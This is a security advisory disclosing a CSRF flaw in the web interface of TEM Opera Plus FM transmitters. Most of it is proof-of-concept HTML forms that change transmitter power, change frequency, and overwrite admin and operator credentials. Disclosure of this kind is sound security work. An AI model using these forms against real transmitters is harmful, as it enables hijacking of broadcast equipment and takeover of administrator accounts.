TEM Opera Plus FM Family Transmitter 35.45 XSRF  
Vendor: Telecomunicazioni Elettro Milano (TEM) S.r.l.  
Product web page:  
Affected version: Software version: 35.45  
Webserver version: 1.7  
Summary: This new line of Opera plus FM Transmitters combines very  
high efficiency, high reliability and low energy consumption in compact  
solutions. They have innovative functions and features that can eliminate  
the costs required by additional equipment: automatic exchange of audio  
sources, built-in stereo encoder, integrated RDS encoder, parallel I/O  
card, connectivity through GSM telemetry and/or TCP IP / SNMP / SMTP  
Desc: The application interface allows users to perform certain actions  
via HTTP requests without performing any validity checks to verify the  
requests. This can be exploited to perform certain actions with administrative  
privileges if a logged-in user visits a malicious web site.  
Tested on: Webserver  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Advisory ID: ZSL-2023-5800  
Advisory URL:  
CSRF Change Forward Power:  
<form action="" method="POST" enctype="text/plain">  
<input type="hidden" name="Pwr" value="00100" />  
<input type="submit" value="Change" />  
CSRF Change Frequency:  
<form action="" method="POST" enctype="text/plain">  
<input type="hidden" name="Freq" value="95.5" />  
<input type="submit" value="Change" />  
CSRF Change User/Pass/Priv Change Admin/User/Pass:  
<form action="" method="POST">  
<input type="hidden" name="usr0" value="admin" />  
<input type="hidden" name="psw0" value="admin" />  
<input type="hidden" name="usr1" value="operator1" />  
<input type="hidden" name="psw1" value="operator1" />  
<input type="hidden" name="lev1" value="1" />  
<input type="hidden" name="usr2" value="operator2" />  
<input type="hidden" name="psw2" value="operator2" />  
<input type="hidden" name="lev2" value="1" />  
<input type="hidden" name="usr3" value="consulter1" />  
<input type="hidden" name="psw3" value="consulter1" />  
<input type="hidden" name="lev3" value="2" />  
<input type="hidden" name="usr4" value="consulter2" />  
<input type="hidden" name="psw4" value="consulter2" />  
<input type="hidden" name="lev4" value="2" />  
<input type="hidden" name="usr5" value="consulter3" />  
<input type="hidden" name="psw5" value="consulter3" />  
<input type="hidden" name="lev5" value="2" />  
<input type="submit" value="Change" />